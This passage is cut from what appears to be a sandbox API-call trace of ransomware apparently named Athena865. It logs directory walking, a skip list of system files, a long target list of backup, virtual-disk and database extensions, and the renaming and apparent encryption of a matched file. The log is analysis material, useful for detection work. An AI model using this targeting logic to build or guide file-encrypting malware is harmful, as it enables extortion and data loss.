(lpString1="Setup.xml", lpString2="windows") returned -1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0057.050] lstrlenW (lpString="Setup.xml") returned 9 [0057.050] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0057.050] lstrlenW (lpString="Setup.xml") returned 9 [0057.050] lstrlenW (lpString="Athena865") returned 9 [0057.050] lstrlenW (lpString=".dll") returned 4 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0057.050] lstrlenW (lpString=".lnk") returned 4 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0057.050] lstrlenW (lpString=".ini") returned 4 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0057.050] lstrlenW (lpString=".sys") returned 4 [0057.050] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0057.050] lstrlenW (lpString="Setup.xml") returned 9 [0057.050] lstrlenW (lpString="bak") returned 3 [0057.050] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0057.050] lstrlenW (lpString="ba_") returned 3 [0057.050] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0057.050] lstrlenW (lpString="dbb") returned 3 [0057.050] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0057.050] lstrlenW (lpString="vmdk") returned 4 [0057.050] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0057.050] lstrlenW (lpString="rar") returned 3 [0057.050] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0057.051] lstrlenW (lpString="zip") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0057.051] lstrlenW (lpString="tgz") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0057.051] lstrlenW (lpString="vbox") returned 4 [0057.051] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0057.051] lstrlenW (lpString="vdi") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0057.051] lstrlenW (lpString="vhd") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0057.051] lstrlenW (lpString="vhdx") returned 4 [0057.051] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0057.051] lstrlenW (lpString="avhd") returned 4 [0057.051] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0057.051] lstrlenW (lpString="db") returned 2 [0057.051] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0057.051] lstrlenW (lpString="db2") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0057.051] lstrlenW (lpString="db3") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0057.051] lstrlenW (lpString="dbf") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0057.051] lstrlenW (lpString="mdf") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0057.051] lstrlenW (lpString="mdb") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0057.051] lstrlenW (lpString="sql") returned 3 [0057.051] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0057.051] lstrlenW (lpString="sqlite") returned 6 [0057.051] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0057.051] lstrlenW (lpString="sqlite3") returned 7 [0057.051] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0057.051] lstrlenW (lpString="sqlitedb") returned 8 [0057.052] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0057.052] lstrlenW (lpString="xml") returned 3 [0057.052] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0057.052] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0057.052] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0057.053] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.053] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6241) returned 1 [0057.053] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518cd8 [0057.054] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518d60) returned 1 [0057.054] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.054] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.055] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b70, lpName=0x0) returned 0x17c [0057.056] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1b70) returned 0x100000 [0057.057] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518d60) returned 1 [0057.057] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.058] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.058] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0057.058] CloseHandle (hObject=0x17c) returned 1 [0057.058] CloseHandle (hObject=0x154) returned 1 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.058] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518cd8 | out: hHeap=0x4f0000) returned 1 [0057.059] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.059] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7fb9f9e0, ftCreationTime.dwHighDateTime=0x1cbe575, ftLastAccessTime.dwLowDateTime=0x7fb9f9e0, ftLastAccessTime.dwHighDateTime=0x1cbe575, ftLastWriteTime.dwLowDateTime=0x437179c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x30780dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioLR.cab", cAlternateFileName="")) returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="..") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="windows") returned -1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="bootmgr") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="temp") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="pagefile.sys") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="boot") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="ids.txt") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="ntuser.dat") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="perflogs") returned 1 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2="MSBuild") returned 1 [0057.059] lstrlenW (lpString="VisioLR.cab") returned 11 [0057.059] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VisioLR.cab" | out: lpString1="VisioLR.cab") returned="VisioLR.cab" [0057.059] lstrlenW (lpString="VisioLR.cab") returned 11 [0057.059] lstrlenW (lpString="Athena865") returned 9 [0057.059] lstrcmpiW (lpString1="sioLR.cab", lpString2="Athena865") returned 1 [0057.059] lstrlenW (lpString=".dll") returned 4 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".dll") returned 1 [0057.059] lstrlenW (lpString=".lnk") returned 4 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".lnk") returned 1 [0057.059] lstrlenW (lpString=".ini") returned 4 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".ini") returned 1 [0057.059] lstrlenW (lpString=".sys") returned 4 [0057.059] lstrcmpiW (lpString1="VisioLR.cab", lpString2=".sys") returned 1 [0057.060] lstrlenW (lpString="VisioLR.cab") returned 11 [0057.060] lstrlenW (lpString="bak") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0057.060] lstrlenW (lpString="ba_") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0057.060] lstrlenW (lpString="dbb") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0057.060] lstrlenW (lpString="vmdk") returned 4 [0057.060] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0057.060] lstrlenW (lpString="rar") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0057.060] lstrlenW (lpString="zip") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0057.060] lstrlenW (lpString="tgz") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0057.060] lstrlenW (lpString="vbox") returned 4 [0057.060] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0057.060] lstrlenW (lpString="vdi") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0057.060] lstrlenW (lpString="vhd") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0057.060] lstrlenW (lpString="vhdx") returned 4 [0057.060] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0057.060] lstrlenW (lpString="avhd") returned 4 [0057.060] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0057.060] lstrlenW (lpString="db") returned 2 [0057.060] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0057.060] lstrlenW (lpString="db2") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0057.060] lstrlenW (lpString="db3") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0057.060] lstrlenW (lpString="dbf") returned 3 [0057.060] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0057.060] lstrlenW (lpString="mdf") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0057.061] lstrlenW (lpString="mdb") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0057.061] lstrlenW (lpString="sql") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0057.061] lstrlenW (lpString="sqlite") returned 6 [0057.061] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0057.061] lstrlenW (lpString="sqlite3") returned 7 [0057.061] lstrcmpiW (lpString1="oLR.cab", lpString2="sqlite3") returned -1 [0057.061] lstrlenW (lpString="sqlitedb") returned 8 [0057.061] lstrcmpiW (lpString1="ioLR.cab", lpString2="sqlitedb") returned -1 [0057.061] lstrlenW (lpString="xml") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0057.061] lstrlenW (lpString="$er") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0057.061] lstrlenW (lpString="4dd") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0057.061] lstrlenW (lpString="4dl") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0057.061] lstrlenW (lpString="^^^") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0057.061] lstrlenW (lpString="abs") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0057.061] lstrlenW (lpString="abx") returned 3 [0057.061] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0057.061] lstrlenW (lpString="accdb") returned 5 [0057.061] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0057.061] lstrlenW (lpString="accdc") returned 5 [0057.061] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0057.061] lstrlenW (lpString="accde") returned 5 [0057.061] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0057.061] lstrlenW (lpString="accdr") returned 5 [0057.061] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0057.062] lstrlenW (lpString="accdt") returned 5 [0057.062] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0057.062] lstrlenW (lpString="accdw") returned 5 [0057.062] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0057.062] lstrlenW (lpString="accft") returned 5 [0057.062] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0057.062] lstrlenW (lpString="adb") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0057.062] lstrlenW (lpString="adb") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0057.062] lstrlenW (lpString="ade") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0057.062] lstrlenW (lpString="adf") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0057.062] lstrlenW (lpString="adn") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0057.062] lstrlenW (lpString="adp") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0057.062] lstrlenW (lpString="alf") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0057.062] lstrlenW (lpString="ask") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0057.062] lstrlenW (lpString="btr") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0057.062] lstrlenW (lpString="cat") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0057.062] lstrlenW (lpString="cdb") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0057.062] lstrlenW (lpString="ckp") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0057.062] lstrlenW (lpString="cma") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0057.062] lstrlenW (lpString="cpd") returned 3 [0057.062] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0057.063] lstrlenW (lpString="dacpac") returned 6 [0057.063] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0057.063] lstrlenW (lpString="dad") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0057.063] lstrlenW (lpString="dadiagrams") returned 10 [0057.063] lstrcmpiW (lpString1="isioLR.cab", lpString2="dadiagrams") returned 1 [0057.063] lstrlenW (lpString="daschema") returned 8 [0057.063] lstrcmpiW (lpString1="ioLR.cab", lpString2="daschema") returned 1 [0057.063] lstrlenW (lpString="db-journal") returned 10 [0057.063] lstrcmpiW (lpString1="isioLR.cab", lpString2="db-journal") returned 1 [0057.063] lstrlenW (lpString="db-shm") returned 6 [0057.063] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0057.063] lstrlenW (lpString="db-wal") returned 6 [0057.063] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0057.063] lstrlenW (lpString="dbc") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0057.063] lstrlenW (lpString="dbs") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0057.063] lstrlenW (lpString="dbt") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0057.063] lstrlenW (lpString="dbv") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0057.063] lstrlenW (lpString="dbx") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0057.063] lstrlenW (lpString="dcb") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0057.063] lstrlenW (lpString="dct") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0057.063] lstrlenW (lpString="dcx") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0057.063] lstrlenW (lpString="ddl") returned 3 [0057.063] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0057.063] lstrlenW (lpString="dlis") returned 4 [0057.063] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0057.064] lstrlenW (lpString="dp1") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0057.064] lstrlenW (lpString="dqy") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0057.064] lstrlenW (lpString="dsk") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0057.064] lstrlenW (lpString="dsn") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0057.064] lstrlenW (lpString="dtsx") returned 4 [0057.064] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0057.064] lstrlenW (lpString="dxl") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0057.064] lstrlenW (lpString="eco") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0057.064] lstrlenW (lpString="ecx") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0057.064] lstrlenW (lpString="edb") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0057.064] lstrlenW (lpString="epim") returned 4 [0057.064] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0057.064] lstrlenW (lpString="fcd") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0057.064] lstrlenW (lpString="fdb") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0057.064] lstrlenW (lpString="fic") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0057.064] lstrlenW (lpString="flexolibrary") returned 12 [0057.064] lstrlenW (lpString="fm5") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0057.064] lstrlenW (lpString="fmp") returned 3 [0057.064] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0057.064] lstrlenW (lpString="fmp12") returned 5 [0057.064] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0057.064] lstrlenW (lpString="fmpsl") returned 5 [0057.065] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0057.065] lstrlenW (lpString="fol") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0057.065] lstrlenW (lpString="fp3") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0057.065] lstrlenW (lpString="fp4") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0057.065] lstrlenW (lpString="fp5") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0057.065] lstrlenW (lpString="fp7") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0057.065] lstrlenW (lpString="fpt") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0057.065] lstrlenW (lpString="frm") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0057.065] lstrlenW (lpString="gdb") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0057.065] lstrlenW (lpString="gdb") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0057.065] lstrlenW (lpString="grdb") returned 4 [0057.065] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0057.065] lstrlenW (lpString="gwi") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0057.065] lstrlenW (lpString="hdb") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0057.065] lstrlenW (lpString="his") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0057.065] lstrlenW (lpString="ib") returned 2 [0057.065] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0057.065] lstrlenW (lpString="idb") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0057.065] lstrlenW (lpString="ihx") returned 3 [0057.065] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0057.065] lstrlenW (lpString="itdb") returned 4 [0057.066] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0057.066] lstrlenW (lpString="itw") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0057.066] lstrlenW (lpString="jet") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0057.066] lstrlenW (lpString="jtx") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0057.066] lstrlenW (lpString="kdb") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0057.066] lstrlenW (lpString="kexi") returned 4 [0057.066] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0057.066] lstrlenW (lpString="kexic") returned 5 [0057.066] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0057.066] lstrlenW (lpString="kexis") returned 5 [0057.066] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0057.066] lstrlenW (lpString="lgc") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0057.066] lstrlenW (lpString="lwx") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0057.066] lstrlenW (lpString="maf") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0057.066] lstrlenW (lpString="maq") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0057.066] lstrlenW (lpString="mar") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0057.066] lstrlenW (lpString="marshal") returned 7 [0057.066] lstrcmpiW (lpString1="oLR.cab", lpString2="marshal") returned 1 [0057.066] lstrlenW (lpString="mas") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0057.066] lstrlenW (lpString="mav") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0057.066] lstrlenW (lpString="maw") returned 3 [0057.066] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0057.066] lstrlenW (lpString="mdbhtml") returned 7 [0057.067] lstrcmpiW (lpString1="oLR.cab", lpString2="mdbhtml") returned 1 [0057.067] lstrlenW (lpString="mdn") returned 3 [0057.067] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0057.067] lstrlenW (lpString="mdt") returned 3 [0057.068] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0057.068] lstrlenW (lpString="mfd") returned 3 [0057.069] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0057.069] lstrlenW (lpString="mpd") returned 3 [0057.069] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0057.070] lstrlenW (lpString="mrg") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0057.070] lstrlenW (lpString="mud") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0057.070] lstrlenW (lpString="mwb") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0057.070] lstrlenW (lpString="myd") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0057.070] lstrlenW (lpString="ndf") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0057.070] lstrlenW (lpString="nnt") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0057.070] lstrlenW (lpString="nrmlib") returned 6 [0057.070] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0057.070] lstrlenW (lpString="ns2") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0057.070] lstrlenW (lpString="ns3") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0057.070] lstrlenW (lpString="ns4") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0057.070] lstrlenW (lpString="nsf") returned 3 [0057.070] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0057.070] lstrlenW (lpString="nv") returned 2 [0057.070] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0057.071] lstrlenW (lpString="nv2") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0057.071] lstrlenW (lpString="nwdb") returned 4 [0057.071] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0057.071] lstrlenW (lpString="nyf") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0057.071] lstrlenW (lpString="odb") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0057.071] lstrlenW (lpString="odb") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0057.071] lstrlenW (lpString="oqy") returned 3 [0057.071] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0057.071] lstrlenW (lpString="ora") returned 3 [0057.071] lstrcmpiW (lpString1="cab", 